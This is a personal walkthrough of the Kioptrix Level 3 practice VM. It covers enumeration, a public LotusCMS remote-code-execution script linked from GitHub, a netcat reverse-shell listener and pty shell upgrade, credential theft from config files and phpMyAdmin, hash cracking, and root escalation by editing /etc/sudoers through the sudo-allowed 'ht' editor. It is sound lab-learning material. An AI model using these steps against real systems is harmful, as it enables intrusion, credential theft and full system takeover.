Kioptrix Level 3 (1.2)

This machine was definitely harder than Kioptrix 1 and 2. I struggled to find the credentials of the user needed to continue privesc to root. Here, you will find my writeup for the third machine of this series. To setup this machine on Proxmox and a DHCP server, please refer to my second writeup: Kioptrix Level 2 (1.1)

Enumeration

First, we find the IP address from arpscan.

We need to add this IP address to our hosts file to access the website, as recommended by the developer.

└─$ sudo nano /etc/hosts
10.0.1.102 kioptrix3.com

Next, we continue our enumeration with nmap.

Nothing else is open, so let's visit the website.

The login page contains the name of the CMS used for the website: LotusCMS. This will be relevant for exploit research.

An interesting username mentioned in the webpage: loneferret.

Let's also check the gallery mentioned in the homepage.

I looked around in the source code for /gallery and found the /gadmin directory, which could be useful later:

48 <!--  <a href="gadmin">Admin</a>&nbsp;&nbsp; -->

Did I miss any directories in the initial webpage?

We will visit /phpmyadmin later. Let's try abusing LotusCMS, which appears to be an old CMS and no longer maintained.

Initial User Access - www-data

Doing some research on LotusCMS, I found this script to abuse it: https://github.com/Hood3dRob1n/LotusCMS-Exploit/blob/master/lotusRCE.sh

Let's run it with ./lotusRCE.sh kioptrix3.com /. This program can open a reverse shell for us, so let's also start a nc connector on another terminal: nc -lvnp 7777.

┌──(kali㉿kali-attacker-0)-[~/BOXES/Kioptrix/Lvl3]
└─$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.0.1.2] from (UNKNOWN) [10.0.1.104] 48840
whoami
www-data

Great! Let's also upgrade our shell:

python -c 'import pty; pty.spawn("/bin/bash")'

/phpadmin access -> loneferret access

Going back to /phpmyadmin on the website, maybe there's some config files in the machine we can read to find creds and access this portal.

Looking around in our home directory, we can find our desired config file:

These credentials don't work on the main login page or the Gallantric /gadmin login. Let's try using them in our /phpmyadmin directory:

Great, let's read the tables. Here's gallarific_users with admin creds:

Using these credentials in the /gallery/gadmin login page gives me superuser access to the gallery site! Let's return back to the PHP portal.

Let's check dev_accounts:

There's loneferret from before! Let's crack these hashes using crackstation.net:

Let's switch user on the reverse shell we have:

www-data@Kioptrix3:/home$ su dreg
su dreg
Password: ...

dreg@Kioptrix3:/home$ cd dreg
cd dreg
rbash: cd: restricted
dreg@Kioptrix3:/home$

It seems dreg can't do much here, what about loneferret? He's the protegé of our sysadmin, he should have access to more sensitive data:

Does this mean we have sudo perms on ht? Let's double check with sudo -l:

loneferret@Kioptrix3:~$ sudo -l
sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

Privilege Escalation with ht

It seems I'll have to try running this ht executable. I really can't do anything on the TTY shell:

loneferret@Kioptrix3:/tmp$ touch test.txt
touch test.txt
loneferret@Kioptrix3:/tmp$ sudo ht test.txt
sudo ht test.txt
Error opening terminal: unknown.

Let's move over to ssh since port 22 is open:

Doing some research, it seems ht is a text editor. Let's execute sudo ht to look around:

loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht

Let's modify some sensitive file to get root access. Use F3 to open a file. Type /etc/sudoers and Enter to modify the sudoers file.

Navigate down to the loneferret user and add /bin/bash to run a bash shell as root:

loneferret ALL=NOPASSWD: /usr/bin/su, /usr/local/bin/ht, /bin/bash

Save with Alt+F, scroll to Save and press Enter. Use Ctrl+C to quit. Let's privesc now.

loneferret@Kioptrix3:~$ sudo ht
loneferret@Kioptrix3:~$ sudo /bin/bash
root@Kioptrix3:~# whoami
root

We have root access!

Breaking sudoers...

In a previous run, I broke the machine with ht's hex mode, which left me permanently stuck as loneferret. Here's a recreation of how i broke sudoers...

loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht /etc/sudoers

Running ht like that opens the editor in hex mode. You can use F4 to edit, F8 to resize in order to type, and set to 700 to have some writing space.

I tried adding loneferret ALL=(ALL:ALL) ALL at the end in hexadecimal. For some reason, the file was not able to read it. Let's simulate this by adding a bunch of characters to simulate a typo:

Save with Alt+F > Save

Now, nothing works and we need to create a new machine to start over... Luckily, I'm running this on Proxmox so it took me 3 minutes to create a new machine from the same VM disk and return to where I started.

Honestly, this is a pretty great place to learn that I should be more careful when messing with core Linux files.

※ This is the end of this writeup. Hope I can continue writing about this series of VMs!